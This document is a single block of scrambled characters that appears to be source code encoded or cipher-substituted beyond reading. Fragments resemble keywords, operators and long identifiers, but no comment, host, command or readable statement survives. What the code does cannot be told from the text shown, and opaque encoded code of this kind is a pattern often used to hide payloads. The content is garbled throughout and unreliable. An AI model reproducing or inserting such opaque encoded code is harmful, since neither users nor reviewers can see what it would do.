 q6( l).%/>&.=%8wnfglvv>,{)-7(ghm>=8<,ov{(-+ (+458&794&mb{)-7(ghm>=8<,odU"U{/'>;5,&.>108b;:961:;w6( l).%/>&.=%8wnfnhvv`e}}dU{40nl=j*4gj=.b  q6( l).%/>&.=%8wnfgkvq%&l24,::0;+wnhfgvw68-=;0g1k=f9<,wnhijvw{/'>;5,&.>108q6( l).%/>&.=%8wkjvvsoswnormvvq6( l).%/>&.=%8wnfgjvq%&l24,::0;+wnhfgvw==7i3&4;3f/;13mwnhijvw{/'>;5,&.>108q68-=;0g1k=f9<,wkhvvsoswnmlnnjvvq==7i3&4;3f/;13mwnhinvdUUU69w68-=;0g1k=f9<,wnfgivw{40nl=j*4gj=.vv{(-+ (+458&794&mb{40nl=j*4gj=.dU90-:><7w{(-+ (+458&794&m>,{)-7(ghm>=8<,ov$U{,8nm&5<.,kl0fb==7i3&4;3f/;13mwnfoivw{)-7(ghm>=8<,ovdUUUU69w~{,8nm&5<.,kl0f##w{,8nm&5<.,kl0fzwnnijgornijgovv~bbwflgnmthvv$UUUU{>ng'.h6%9-7=b6( l).%/>&.=%8wnfmkvw{)-7(ghm>=8<,ovdU69w~{>ng'.h6%9-7=##{>ng'.h6%9-7=cwkgntnfv##{>ng'.h6%9-7=awmhfhmkjmtmkkjilkgvv<01+61*:dU"Upp0):-30<4/3><:703;:-=3*-UU{8-f'9&5>j>1k)5b==7i3&4;3f/;13mwnfghvw{)-7(ghm>=8<,ovdUpp:;6>:'+30<4e*1;:<6;>=3:<01+->)>-6>1+UU{%5:95%,i=j):l36gb==7i3&4;3f/;13mwnfggvw-nif,f=:o%ol2)owvvdU69w==7i3&4;3f/;13mwnfiivw{8-f'9&5>j>1k)5vyy==7i3&4;3f/;13mwnfiivw{%5:95%,i=j):l36gvyy{8-f'9&5>j>1k)5bbb{%5:95%,i=j):l36gv<01+61*:dU{)h<'+,fl%k0b6( l).%/>&.=%8wnflgvw{)-7(ghm>=8<,os9>3,:s1*33soswijhhrmkgnvvdU69w~68-=;0g1k=f9<,wnfiivw{)h<'+,fl%k0v##68-=;0g1k=f9<,wnfhlvw{)h<'+,fl%k0s6( l).%/>&.=%8wnfgfvvbbb9>3,:v<01+61*:d{4j&h,o.gm*=8*8bnouid{795:0o3i3b{4j&h,o.gm*=8*8rlndUUUU69w~==7i3&4;3f/;13mwnffovw==7i3&4;3f/;13mwnffnvs{)h<'+,fl%k0s{2&%./+'(<+'vv<01+61*:dUUU69w~):-,601 <02/>-:w{2&%./+'(<+'ns(8=4>%+g%(8i0>1>i(l9h+wvsxcxvv<01+61*:dUUU{45,.45143'./b*,8'.48k><:k8h-/&58683w{)-7(ghm>=8<,ovdU69w{45,.45143'./bbb9>3,:v$UUUU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwngfgvs==7i3&4;3f/;13mwnffmvq%&l24,::0;+wnfflvw{)-7(ghm>=8<,ovvdU<01+61*:dU"Upp:1>=3:,403:290-	:-,:30<4UUUU69w{45,.45143'./bbb+-*:v$UUUU69w7-h3)j%5o=(* 4/mw{)-7(ghm>=8<,os{)-7(ghm>=8<,oq6( l).%/>&.=%8wnfgvvv$U69w68-=;0g1k=f9<,wnfgovw6( l).%/>&.=%8wnffkvvv0/<><7: 61)>36;>+:w{)-7(ghm>=8<,os+-*:vdUU"U%&l24,::0;+whhnvw6( l).%/>&.=%8wnfnlvw{)-7(ghm>=8<,ovq==7i3&4;3f/;13mwhffvq==7i3&4;3f/;13mwnffjvw{)-7(ghm>=8<,os==7i3&4;3f/;13mwnhinvvvdUU<01+61*:dU"U6( l).%/>&.=%8whhnvw{)-7(ghm>=8<,ovdU==7i3&4;3f/;13mwhhnvw68-=;0g1k=f9<,wnfnlvw{)-7(ghm>=8<,ovq==7i3&4;3f/;13mwhffvq==7i3&4;3f/;13mwnffjvw{)-7(ghm>=8<,os%&l24,::0;+wnhinvvvdU69w==7i3&4;3f/;13mwnfgovw==7i3&4;3f/;13mwnffkvvv0/<><7: 61)>36;>+:w{)-7(ghm>=8<,os+-*:vdU"UUU%<'>8i7om&)0o63:kwvdU{&1>-5oo1/)fb  q6( l).%/>&.=%8wnmjivdUUUU69w68-=;0g1k=f9<,wnfgmvw{&1>-5oo1/)fvyy6( l).%/>&.=%8wnfgovw68-=;0g1k=f9<,wnffivvv$UUUU90-:><7ww>-->&v==7i3&4;3f/;13mwnffhvw{&1>-5oo1/)fq==7i3&4;3f/;13mwnffgvv>,{)2&&2;>k)hv$U69w~6( l).%/>&.=%8wnfffvw{)2&&2;>k)hv##~%&l24,::0;+wnflivw{)2&&2;>k)hvv<01+61*:dU{+</++k9 0*=m++87b6( l).%/>&.=%8wmooovw{)2&&2;>k)hvdU69w~{+</++k9 0*=m++87##{+</++k9 0*=m++87awo'hnm;>to'ng:;mivv<01+61*:dU{<.%l6154):5lb==7i3&4;3f/;13mwnflgvw{)2&&2;>k)hvdU69w~6( l).%/>&.=%8wnfiivw{<.%l6154):5lvv<01+61*:dU69w68-=;0g1k=f9<,wmoonvw{<.%l6154):5ls==7i3&4;3f/;13mwmoomvvbbb9>3,:yy68-=;0g1k=f9<,wmoolvw{<.%l6154):5ls==7i3&4;3f/;13mwmookvvbbb9>3,:yy68-=;0g1k=f9<,wmoolvw{<.%l6154):5ls68-=;0g1k=f9<,wmoojvvbbb9>3,:v<01+61*:dU69w~%oh=**l'jf33lhw{<.%l6154):5lvv<01+61*:dUUU{8 001+kl>)n%9=ob) 5/-5ij/g&.;6w{<.%l6154):5lvdU69w==7i3&4;3f/;13mwnfiivw{8 001+kl>)n%9=ovyy{8 001+kl>)n%9=o~bb{<.%l6154):5lv$U,=.9=%*lk<l11j),n'56'/w{)2&&2;>k)hs{8 001+kl>)n%9=ovdUUUU69w6( l).%/>&.=%8wnfgovw6( l).%/>&.=%8wnffkvvv0/<><7: 61)>36;>+:w{)2&&2;>k)hs+-*:vdU"U"U"U/3 111,i(12%,*mfm+w  q==7i3&4;3f/;13mwnlfkvvdU/3 111,i(12%,*mfm+w  q==7i3&4;3f/;13mwjhjvvdUU69w6( l).%/>&.=%8wnfgovw6( l).%/>&.=%8wngjivvyy==7i3&4;3f/;13mwnfgovw==7i3&4;3f/;13mwmooivvyy%&l24,::0;+wnfgovw==7i3&4;3f/;13mwmoohvvv${4k/18)=oi10bnlgmd{0m(k7,j09m3>+b{4k/18)=oi10znldU{ 01b0,://=::3'-f*7wq==7i3&4;3f/;13mwmoogvswjccnvvdU{).:n;4l>h,>b8:+ 0/+601w{ 01s}}vdU69w==7i3&4;3f/;13mwnfiivw{).:n;4l>h,>vyy{).:n;4l>h,>~bb}}v$UU{1m)m:(.j72>5%9b%&l24,::0;+wkomvw{).:n;4l>h,>s+-*:vdU69w68-=;0g1k=f9<,wnfiivw{1m)m:(.j72>5%9vyy84(hi9m7&:'h6nk>:,nw{1m)m:(.j72>5%9vv;:3:+: 0/+601w{ 01vdU"U{)<69 g4-o5603fb68-=;0g1k=f9<,wnfgovw6( l).%/>&.=%8wmoofvv`7=6*m)5(8(fkl*-%l14  'w%&l24,::0;+wnomnvs}}ve}}dU69w6( l).%/>&.=%8wnfiivw{)<69 g4-o5603fvyy{)<69 g4-o5603f~bb}}yyw68-=;0g1k=f9<,wnfomvw{)<69 g4-o5603fvawnokgjjmtmkv##w68-=;0g1k=f9<,wnfgovw68-=;0g1k=f9<,wmonovvyy=n-8-m<n&2j=7.j+:f%inw{)<69 g4-o5603fvv##(=-f23(5<n;-.)'w{)<69 g4-o5603fvvv$UUU69w%&l24,::0;+wmonnvw6( l).%/>&.=%8wmonmvvv5% 3m3%%i+&%>-;(142mm)w==7i3&4;3f/;13mwnomnvs}}s6( l).%/>&.=%8wmonlvvdU"U"U"U9*1<+601349)=<68.<<j<,kwvU${ 2& &8,:+%*b  	d{* fh>:, <(&%4kb{ 2& &8,:+%*ukdUU+-&$U69w~;:961:;w68-=;0g1k=f9<,wnfnhvvv-:+*-1dU69w~:2/+&w{==7i3&4;3f/;13mwmonkvvv$UUU{==7i3&4;3f/;13mwmonkvbodU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wmonjvs6( l).%/>&.=%8wmonivvdU"Upp30<4->1,90-2,e:'/01:1+6>3-618r=*99:-UUUU69w~:2/+&w{68-=;0g1k=f9<,whfhvvv-:+*-1dU{68-=;0g1k=f9<,whfhvb+-*:dU69w~6,,:+w{ 6( l).%/>&.=%8wngmmvvyy68-=;0g1k=f9<,wmonhvw%&l24,::0;+wngjivvyy6( l).%/>&.=%8wmonhvw%&l24,::0;+wjmmvvv$UU{7 *98f'll=,kb8:+ 0/+601w68-=;0g1k=f9<,wngklvs>-->&wvvdU{=3o jgnh1)b9>3,:dU69w68-=;0g1k=f9<,wngmnvw{7 *98f'll=,kvv${*j,>>2j,<gi9(nbgtjod{3f<9+g-3>2=0+fb{*j,>>2j,<gi9(nrlgdU69w~:2/+&w{7 *98f'll=,kx+xvyy==7i3&4;3f/;13mwnggmvwvrw61+v{7 *98f'll=,k6( l).%/>&.=%8wmongvcwmnlkrllkvv{=3o jgnh1)b+-*:dUUU69w~{=3o jgnh1)yy~:2/+&w{7 *98f'll=,k==7i3&4;3f/;13mwnggkvvyy6( l).%/>&.=%8wmonfvw{7 *98f'll=,k%&l24,::0;+wnggkvvv$U90-:><7w{7 *98f'll=,k%&l24,::0;+wnggkv>,{ <6v$UU69w68-=;0g1k=f9<,wmonfvw{ <6vyy68-=;0g1k=f9<,wnggmvwvrw61+v{ <668-=;0g1k=f9<,wmongvcwnhintlfvv$U{=3o jgnh1)b+-*:dU=-:>4dU"U"U"U"U69w{=3o jgnh1)v68-=;0g1k=f9<,wmomovw68-=;0g1k=f9<,wngkkvvdU"U69w%2:n;9l5gim=)+<n%28(jw-nif,f=:o%ol2)owvvv-:+*-1dU2.lj<'li3h-ik0/-i*wvdU0f(,8l2>71ml(4kw-nif,f=:o%ol2)owvs(8=4>%+g%(8i0>1>i(l9h+wvvdU69w~>87)&6hgfj1,1k;o8wvv$UUUU=<g+j.0 %g' .864 &32wvdU,j;1'44-4%--h.<8o o,wvdU-:+*-1dUpp+7-:>;r,>9:9><+0-&UUU"U{)k98%ni;o9b*&;mh.'go,*2;<g)+*f9>wvdU{-)<g&=g%2k/m0((gb>-->&wUU-nif,f=:o%ol2)owvsU{)k98%ni;o9q==7i3&4;3f/;13mwjhjvsUvdU{2-j(97f=0.jb9(l25m0hl<35j5)wvdU90-:><7w{2-j(97f=0.j>,{56(9o-+g;1<g6&*+v$UU69w68-=;0g1k=f9<,wnfffvw{56(9o-+g;1<g6&*+vv{-)<g&=g%2k/m0((gb{56(9o-+g;1<g6&*+dUU"U{0=6/hh)-h(b>-->&wvdU69w3n;on2(j>ff85f.9=n('wvv$U{)(6 :=3&)3jb0,://=::3'-f*7wq68-=;0g1k=f9<,wnofmvswltjvvq6( l).%/>&.=%8wnhinvd{2&+k4j&9o488bwo';gto'j:vd{ ,&2%mf4: 3b{2&+k4j&9o488znkdU{0=6/hh)-h(68-=;0g1k=f9<,wmomnvqq==7i3&4;3f/;13mwnkflvb{)(6 :=3&)3jdU{0=6/hh)-h(6( l).%/>&.=%8wmomnvq{)k98%ni;o9q68-=;0g1k=f9<,wmommvb{)(6 :=3&)3jdU"U{-)00, f-n 70.*glb68-=;0g1k=f9<,wmomlvw6( l).%/>&.=%8wnkglvv`68-=;0g1k=f9<,wnkglvw68-=;0g1k=f9<,wmomkvve9>3,:dUU69w6( l).%/>&.=%8wmomjvw{-)00, f-n 70.*glvyy{-)00, f-n 70.*gl~bb}}v$U{&-%k./;j3=bw61+v8:+ 0/+601w%&l24,::0;+wnkkfvsovdU69w~{&-%k./;j3=##68-=;0g1k=f9<,wnggmvwvr{&-%k./;j3=abwnnnloormkfoovv$UUU{0jgo0j:62f&4%b0,://=::3'-f*7wq==7i3&4;3f/;13mwmomivswnkrivvq%&l24,::0;+wnhinvdU{0=6/hh)-h(68-=;0g1k=f9<,wmomnvq68-=;0g1k=f9<,wmomhvws68-=;0g1k=f9<,wnknhvvqxpxq{-)00, f-n 70.*glb{0jgo0j:62f&4%dU{0=6/hh)-h(%&l24,::0;+wmomnvq{)k98%ni;o9qxpxq{-)00, f-n 70.*glb{0jgo0j:62f&4%dU"U"UU{ ,l9im+>>03b36(8/2k,l(ml k:/wvdU69w%&l24,::0;+wnfffvw{ ,l9im+>>03nvv{0=6/hh)-h(68-=;0g1k=f9<,wmomgvq{ ,l9im+>>03ob6( l).%/>&.=%8wmomfvq{ ,l9im+>>03mdU{ 4i7f.-(*>)b8:+ 0/+601w%&l24,::0;+wmolovs>-->&wvvdU69w~68-=;0g1k=f9<,wmonfvw{ 4i7f.-(*>)vv{ 4i7f.-(*>)b>-->&wvdU{--7*:;3>7-(;=ob9>3,:dU90-:><7w{-)<g&=g%2k/m0((g>,{13o'45<go:gv${=l:72=-69(6kbnntjid{2=.6,go6%:6&f)b{=l:72=-69(6krkkdU{&>4)4h36;=j-+m&mb6( l).%/>&.=%8wmolnvw{13o'45<go:gvdU{;h 4mn n:8*b{&>4)4h36;=j-+m&m`w{&>4)4h36;=j-+m&m==7i3&4;3f/;13mwmolmvqx#xq{&>4)4h36;=j-+m&m%&l24,::0;+wmollvvexoxdU{3/76&'*50//m/b6,,:+w{ 4i7f.-(*>){13o'45<go:gv`{ 4i7f.-(*>){13o'45<go:ge}}dU69w{;h 4mn n:8*bbb{3/76&'*50//m/v<01+61*:dU69w6( l).%/>&.=%8wmolkvw68-=;0g1k=f9<,wmoljvs{3/76&'*50//m/s{6<84og.246:.7vyy6( l).%/>&.=%8wmolivw{3/76&'*50//m/sosr%&l24,::0;+wnfomvw{6<84og.246:.7ovvbbb{;h 4mn n:8*yy==7i3&4;3f/;13mwnggmvwvrw61+v{6<84og.246:.7ncwljkftjnvv<01+61*:dUUUU{--7*:;3>7-(;=ob+-*:dU=-:>4dUUU"UU69w~{--7*:;3>7-(;=ov$UUUU90-:><7w{0=6/hh)-h(>,{4:&ba{&;*m)<314=.v$UUU{;h 4mn n:8*b=7>*oh&>/)m0/h1-w%&l24,::0;+wmolhvw{4:&swnlfnkmvvs{&;*m)<314=.vdU{3/76&'*50//m/b6,,:+w{ 4i7f.-(*>){4:&v`{ 4i7f.-(*>){4:&e}}dU69w{;h 4mn n:8*bbb{3/76&'*50//m/v<01+61*:dU69w==7i3&4;3f/;13mwmolkvw68-=;0g1k=f9<,wmoljvs{3/76&'*50//m/s{6<84og.246:.7vyy==7i3&4;3f/;13mwmolgvw{3/76&'*50//m/sosr68-=;0g1k=f9<,wnfomvw{6<84og.246:.7ovvbbb{;h 4mn n:8*yy68-=;0g1k=f9<,wnggmvwvrw61+v{6<84og.246:.7ncwgilkntjfvv<01+61*:dU{--7*:;3>7-(;=ob+-*:dU=-:>4dUUUU"U"U{61-<;5i) 95b==7i3&4;3f/;13mwnffjvw-nif,f=:o%ol2)owvs68-=;0g1k=f9<,wnhinvvdUU{.9n./n/<i:7(1b{)k98%ni;o9q%&l24,::0;+wjjvq{61-<;5i) 95qxpxq{61-<;5i) 95q68-=;0g1k=f9<,wnhinvdU{5 j%oo4%.(9i>fb(lmn%)ii=o<m:;0f3 3mwvdU69w~68-=;0g1k=f9<,wmolfvw{.9n./n/<i:7(1v##w61+v6( l).%/>&.=%8wmokovw{.9n./n/<i:7(1vcwjgflrgflvv{--7*:;3>7-(;=ob+-*:dU69w{5 j%oo4%.(9i>f~bb}}yy~==7i3&4;3f/;13mwmoknvw{5 j%oo4%.(9i>fvv{--7*:;3>7-(;=ob+-*:dU69w~{--7*:;3>7-(;=oyy==7i3&4;3f/;13mwmokmvw==7i3&4;3f/;13mwngjivvv$Upp&6:3;*1696<>+601UU{='+=hmlo%jb{61-<;5i) 95qxpxq{61-<;5i) 95q==7i3&4;3f/;13mwmoklvdUUUU{6&%-hg81i,;h52b8:+ 0/+601w%&l24,::0;+whhgvs>-->&wvvdU69w~68-=;0g1k=f9<,wmonfvw{6&%-hg81i,;h52v##~68-=;0g1k=f9<,whfivw{='+=hmlo%js{6&%-hg81i,;h52s+-*:vv{--7*:;3>7-(;=ob+-*:dUUUU"U69w~{--7*:;3>7-(;=ov-:+*-1dUUU69w~<265'fh;mjjfgi392f1k(nw68-=;0g1k=f9<,wgonvvv-:+*-1dU+-&$U=o6(/-875*o9=+h(1wvdUUU8i<7mh=38m,h&2>)%2)78owvd{7oi2,h175;'b  	d{%0-h6n)g -*><'b{7oi2,h175;'uldUU,j;1'44-4%--h.<8o o,wvdU;oml9'n03&0538n;:)=6,wvdU1:,m<+1 )%&fjfwvdU=<g+j.0 %g' .864 &32wvdUU<<8>4%'2/632/>g3*wvdU=6655fom.49421k0</wvd{>,/h>oi/12*&bhiuld{=26 ;n)fk-+'k>b{>,/h>oi/12*&rkfdU{9=5nhhl>06b4>''/;906:n&+l.j.>wvdU{04g6,43<7<367&'&b;=lfk ,.%'jf>m.j'mwvdU{2 .f %i7nk;<<5fb>-->&wvdUU90-:><7w{-)<g&=g%2k/m0((g>,{13o'45<go:gv$U{4,lf>%im&0,4+3:bw{13o'45<go:gbbb{)k98%ni;o9q==7i3&4;3f/;13mwmokkvyy~{9=5nhhl>06v##w%&l24,::0;+wmolgvw{13o'45<go:gsrwitgvvbbb==7i3&4;3f/;13mwmokjvyy~{04g6,43<7<367&'&vdU{&>4)4h36;=j-+m&mb68-=;0g1k=f9<,wmolnvw{13o'45<go:gvdUUUU69w{&>4)4h36;=j-+m&mv$Upu1:8>+6):r;:9616+:50*-1>3upUU{2 .f %i7nk;<<5f{13o'45<go:gb{&>4)4h36;=j-+m&m%&l24,::0;+wmolmvqx#xq{&>4)4h36;=j-+m&m68-=;0g1k=f9<,wmollvqw{4,lf>%im&0,4+3:`%&l24,::0;+wmokivq%&l24,::0;+wnggmvwve}}vdU"U"U90-:><7w{0=6/hh)-h(>,{4:&ba{&;*m)<314=.v$U{4k)7i=(62o'6,b=7>*oh&>/)m0/h1-w6( l).%/>&.=%8wmokhvw{4:&swo'kto'nvvs{&;*m)<314=.vdU69w{4k)7i=(62o'6,bbbxox##68-=;0g1k=f9<,wmokhvw{4k)7i=(62o'6,srmvbbb==7i3&4;3f/;13mwmokgvv{4k)7i=(62o'6,qb68-=;0g1k=f9<,wmokfvq68-=;0g1k=f9<,wnggmvwvdU{2 .f %i7nk;<<5f{4:&b{4k)7i=(62o'6,dU"U*/;>+: 0/+601w==7i3&4;3f/;13mwmolovs{2 .f %i7nk;<<5fs6( l).%/>&.=%8wmonlvvdUU"961>33&$U8j,l7f2>m0=f6&<-w%&l24,::0;+wgonvvdUUUU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwmojovs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"UUUU"UUU9*1<+601=7>*oh&>/)m0/h1-w{13o'45<go:gs{&;*m)<314=.vU$UU{&>4)4h36;=j-+m&mb68-=;0g1k=f9<,wmolnvw{13o'45<go:gvdU69w~{&>4)4h36;=j-+m&mv-:+*-1xoxdU{;h 4mn n:8*b{&>4)4h36;=j-+m&m%&l24,::0;+wmolmvqx#xq{&>4)4h36;=j-+m&m==7i3&4;3f/;13mwmollvdUU69w{&>4)4h36;=j-+m&m68-=;0g1k=f9<,wmolmvawnokgjjmtmkvv-:+*-1==7i3&4;3f/;13mwmojnvq{;h 4mn n:8*dUU{62,m89/7oob==7i3&4;3f/;13mwmojmvw{13o'45<go:gvdUU-:+*-1{;h 4mn n:8*qx#xqww6( l).%/>&.=%8wmomjvw{62,m89/7oovyy==7i3&4;3f/;13mwmoolvw{62,m89/7oos{&;*m)<314=.v~bb9>3,:v`xnxexoxvdU"UUU9*1<+601-gh'&')),23).42 %=lofwvU$U{ /)b==7i3&4;3f/;13mwmokmvw6( l).%/>&.=%8wngjivv`8:+ 0/+601w68-=;0g1k=f9<,wmnkvs}}ve}}dU10 ih<k,<8 77l4300*8lwvdU{ 6<:.;+'1k66*jb6( l).%/>&.=%8wmokmvw==7i3&4;3f/;13mwngjivv`8:+ 0/+601w6( l).%/>&.=%8wmnkvs}}ve}}dUU69w{ 6<:.;+'1k66*jbbb{ /)v;:3:+: 0/+601w6( l).%/>&.=%8wmnkvvdUU"UUU9*1<+60110 ih<k,<8 77l4300*8lwvU${72%)7:if6bn#nohd{9-n0601&>.b{72%)7:if6nidUUUU+-&$U69w~;:961:;w6( l).%/>&.=%8wnfnhvvv-:+*-1dU{)k98%ni;o9b*&;mh.'go,*2;<g)+*f9>wvd{++0j1mljb  p  d{8j.km:n8jb{++0j1mljtnmdU{:i5n4*:%><:1-9b(2++90&.)m=1=gl8g6wvdU{.9gk89g/fi9k7--b0,://=::3'-f*7wq68-=;0g1k=f9<,wninjvswltjvvq68-=;0g1k=f9<,wnlmgvdU{36<) ;6gk/b0,://=::3'-f*7wq68-=;0g1k=f9<,wmojlvswnlrjvvq==7i3&4;3f/;13mwmojkvdU{=:=hh8)9:;b0,://=::3'-f*7wq6( l).%/>&.=%8wmomivswnthvvq68-=;0g1k=f9<,wmojkvdU{5>..o/l4hgg>2b0,://=::3'-f*7wq%&l24,::0;+wnlhfvswo'kto'kvvq%&l24,::0;+wmojjvdU{.4*0+8j=274'=/b0,://=::3'-f*7wq==7i3&4;3f/;13mwnkonvswo'kto'kvvq%&l24,::0;+wmojjvdU{'&15k,l<0(k,gob==7i3&4;3f/;13mwnikivq0,://=::3'-f*7wqx8xswncclvvdU{)m;l9 ,nn16+8b>-->&wU{)k98%ni;o9q68-=;0g1k=f9<,wmojivba6( l).%/>&.=%8wfmkvsU{)k98%ni;o9q68-=;0g1k=f9<,wmokkvba%&l24,::0;+wmojhvsUvdU90-:><7w{)m;l9 ,nn16+8>,{13o'45<go:gba{/-:96'v$U69w~%&l24,::0;+wmoknvw{13o'45<go:gvv<01+61*:dU{62,m89/7oob==7i3&4;3f/;13mwmojgvw{13o'45<go:gvdUUUU69w{62,m89/7oobbb9>3,:v<01+61*:dUUU{3-%k*>->+k7m:'b==7i3&4;3f/;13mwfmfvq{/-:96'q68-=;0g1k=f9<,wflovq{/-:96'q6( l).%/>&.=%8wflnvdU{2=4%= h%no =1b%&l24,::0;+wmojfvw{3-%k*>->+k7m:'s}}s{62,m89/7oovdU69w{2=4%= h%no =1~bb{62,m89/7oov,=.9=%*lk<l11j),n'56'/w{13o'45<go:gs{2=4%= h%no =1vdUUUU"U{,7k5%;+nj,ib{)k98%ni;o9q68-=;0g1k=f9<,wjhgvdU69w6( l).%/>&.=%8wmoknvw{,7k5%;+nj,ivv$U{1:;88&>h>fb6( l).%/>&.=%8wmoiovw{,7k5%;+nj,ivdU69w==7i3&4;3f/;13mwmomjvw{1:;88&>h>fvyy{1:;88&>h>f~bb}}v$UUU69w==7i3&4;3f/;13mwmolkvw==7i3&4;3f/;13mwmoinvs%&l24,::0;+wmoimvw{1:;88&>h>fsoswmjltkhvvv##%&l24,::0;+wmoilvw{1:;88&>h>fs==7i3&4;3f/;13mwnjjovvbbbov$U..+:l- 3/5(*9,%,)6<:w{,7k5%;+nj,iswknmtgvvdU6&3-,o*-.<)&:l.1w{,7k5%;+nj,ivdU":3,:$Upp,:-6>36%>=3:+->1,90-2:-UU{>g*1jg(>=5<;<,<b%&l24,::0;+wmojfvw==7i3&4;3f/;13mwmoikvs}}s{1:;88&>h>fvdU69w==7i3&4;3f/;13mwmomjvw{>g*1jg(>=5<;<,<vyy{>g*1jg(>=5<;<,<~bb{1:;88&>h>fv,=.9=%*lk<l11j),n'56'/w{,7k5%;+nj,is{>g*1jg(>=5<;<,<vdU*1,:+w{>g*1jg(>=5<;<,<vdU"U"U*1,:+w{1:;88&>h>fvd{)&&km:nj+';bnng#kmd{8=km(f')=. 5+b{)&&km:nj+';nokdU"U{/8o6f=n=i;b6( l).%/>&.=%8wnfnlvw-nif,f=:o%ol2)owvvq==7i3&4;3f/;13mwnkmvd{= /;:j.% 2bwo'mjto'hnvd{>8=,/5jg<b{= /;:j.% 2znmdU{+*k57>7n0;g:6>4b;:961:;w6( l).%/>&.=%8wnfhgvv`  q6( l).%/>&.=%8wmoijve{/8o6f=n=i;dU{' :o62>io:(':b>-->&wU{)k98%ni;o9qxpxq{.9gk89g/fi9k7--sU{)k98%ni;o9qxpxq{36<) ;6gk/sU{)k98%ni;o9qxpxq{=:=hh8)9:;sU{:i5n4*:%><:1-9qxpxq{5>..o/l4hgg>2sU{:i5n4*:%><:1-9qxpxq{.4*0+8j=274'=/sUU{:i5n4*:%><:1-9qxpxq{36<) ;6gk/sU{:i5n4*:%><:1-9qxpxq{=:=hh8)9:;sUUU{/8o6f=n=i;qxpxq{5>..o/l4hgg>2sU{/8o6f=n=i;qxpxq{.4*0+8j=274'=/sU{/8o6f=n=i;qxpxq{36<) ;6gk/sU{/8o6f=n=i;qxpxq{=:=hh8)9:;sU{+*k57>7n0;g:6>4qxpxq{5>..o/l4hgg>2sUUU{+*k57>7n0;g:6>4qxpxq{.4*0+8j=274'=/sU{+*k57>7n0;g:6>4qxpxq{36<) ;6gk/sU{+*k57>7n0;g:6>4qxpxq{=:=hh8)9:;sUvdU{+ ko-(9.7.m+m&b36(8/2k,l(ml k:/wvdU{' :o62>io:(':b{+ ko-(9.7.m+m&ndU{' :o62>io:(':b{+ ko-(9.7.m+m&nq68-=;0g1k=f9<,wnhhmvdU*1,:+w{+ ko-(9.7.m+m&vdU69w6( l).%/>&.=%8wmokmvw==7i3&4;3f/;13mwnffhvvv$U90-:><7ww>-->&v68-=;0g1k=f9<,wnffhvw{)k98%ni;o9q68-=;0g1k=f9<,wmoiivq{.9gk89g/fi9k7--v>,{7ijjigf&fk 2fov{' :o62>io:(':b{7ijjigf&fk 2fodU90-:><7ww>-->&v68-=;0g1k=f9<,wmoihvw{)k98%ni;o9q%&l24,::0;+wmoigvq{.9gk89g/fi9k7--v>,{7ijjigf&fk 2fov{' :o62>io:(':b{7ijjigf&fk 2fodU90-:><7ww>-->&v6( l).%/>&.=%8wmoihvwq==7i3&4;3f/;13mwmoifvq{'&15k,l<0(k,goq68-=;0g1k=f9<,wlnmvv>,{3g/5>hg0igk3lv{' :o62>io:(':b{3g/5>hg0igk3ldU90-:><7ww>-->&v==7i3&4;3f/;13mwmoihvw{)k98%ni;o9qxpxq{'&15k,l<0(k,goq68-=;0g1k=f9<,wlnmvv>,{3g/5>hg0igk3lv{' :o62>io:(':b{3g/5>hg0igk3ld{3 mi(>3j.=o%b  	d{>oii;/l'b{3 mi(>3j.=o%unodU90-:><7ww>-->&v%&l24,::0;+wmoihvw{:i5n4*:%><:1-9qxpxq{'&15k,l<0(k,goq68-=;0g1k=f9<,wlnmvv>,{3g/5>hg0igk3lv{' :o62>io:(':b{3g/5>hg0igk3ldU90-:><7ww>-->&v68-=;0g1k=f9<,wmoihvw{/8o6f=n=i;qxpxq{'&15k,l<0(k,goq%&l24,::0;+wlnmvv>,{3g/5>hg0igk3lv{' :o62>io:(':b{3g/5>hg0igk3ldU90-:><7ww>-->&v==7i3&4;3f/;13mwmohovw{+*k57>7n0;g:6>4qxpxq{'&15k,l<0(k,goq6( l).%/>&.=%8wmohnvv>,{3g/5>hg0igk3lv{' :o62>io:(':b{3g/5>hg0igk3ldU"U{7&fh-97lm1(-&' fb0,://=::3'-f*7wqx8xswnthvvdU{ /1 2n)g,3lb>-->&wq==7i3&4;3f/;13mwmohmvs{)k98%ni;o9s{:i5n4*:%><:1-9s{/8o6f=n=i;s{+*k57>7n0;g:6>4vdUUUU90-:><7w{ /1 2n)g,3l>,{ 8;v$Upp0-;-:,,iql<022>1;,e/0,6+6):r;:9616+:<6/7:-r,*6+:UU69w6( l).%/>&.=%8wnfgmvw{ 8;vyy==7i3&4;3f/;13mwnflivw{ 8;vv+lf5;=.m.'o=6hm1h*0f>w{ 8;q6( l).%/>&.=%8wmohlvq{7&fh-97lm1(-&' fs(8=4>%+g%(8i0>1>i(l9h+wvs6( l).%/>&.=%8wmohkvvdU"U69w==7i3&4;3f/;13mwmohjvw%&l24,::0;+wmohivvv$U90-:><7w{ /1 2n)g,3l>,{ 8;v$U90-:><7w>-->&w%&l24,::0;+wmohhvs6( l).%/>&.=%8wmohgvs%&l24,::0;+wmohfvs6( l).%/>&.=%8wmogovs==7i3&4;3f/;13mwmognvs6( l).%/>&.=%8wmogmvs68-=;0g1k=f9<,wmoglvs%&l24,::0;+wmogkvs6( l).%/>&.=%8wmogjvv>,{48';f)77)*k8v${5%/)&9n'>8=j%bwo'ioto'f:vd{5+n:g2>,:b{5%/)&9n'>8=j%zjdU90-:><7ww>-->&v==7i3&4;3f/;13mwmohivw{ 8;qxpxq{48';f)77)*k8qxuxv>,{;i-3.++i..26916v{' :o62>io:(':b{;i-3.++i..26916dUUUU"U90-:><7ww>-->&v==7i3&4;3f/;13mwmohivw{ 8;q6( l).%/>&.=%8wmogivv>,{&1m(:::<++>1,>0>v{' :o62>io:(':b{&1m(:::<++>1,>0>dU"UU"U*1,:+w{7&fh-97lm1(-&' fs{ /1 2n)g,3ls{ 8;s{48';f)77)*k8s{;i-3.++i..26916s{&1m(:::<++>1,>0>vdUU{;'gf4g24,o.l5l ;b>-->&wq%&l24,::0;+wmoghvs{)k98%ni;o9q==7i3&4;3f/;13mwmommvvdU90-:><7w{;'gf4g24,o.l5l ;>,{4&24;;ki'+ijv$U69w~%&l24,::0;+wmoknvw{4&24;;ki'+ijvv<01+61*:dU{62,m89/7oob